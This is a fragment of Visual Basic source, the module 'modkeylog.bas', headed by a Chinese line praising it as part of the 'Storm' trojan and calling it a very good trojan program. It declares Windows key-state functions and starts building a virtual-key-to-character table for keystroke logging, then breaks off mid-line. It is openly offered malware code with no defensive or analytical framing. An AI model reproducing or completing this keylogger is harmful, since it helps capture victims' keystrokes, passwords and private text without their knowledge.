modkeylog.bas

风暴木马非常好的木马程序

Attribute VB_Name = "ModKeyLog"

Option Explicit

Public Declare Function GetAsyncKeyState Lib "user32" _
    (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" _
    (ByVal nVirtKey As Long) As Integer
    
Public Type VirtualKeys
   uChar As String
   lChar As String
End Type

Global sKeyPressed As String

Function GetKey() As Boolean
    
    Dim tmKeys(255) As VirtualKeys
    Dim bySpec(30) As Byte
    Dim iLoop As Integer
    
    tmKeys(110).lChar = ",": tmKeys(32).lChar = " "
    tmKeys(110).uChar = ",": tmKeys(32).uChar = " "
    bySpec(1) = 110:  bySpec(2) = 32
        
    tmKeys(186).lChar = "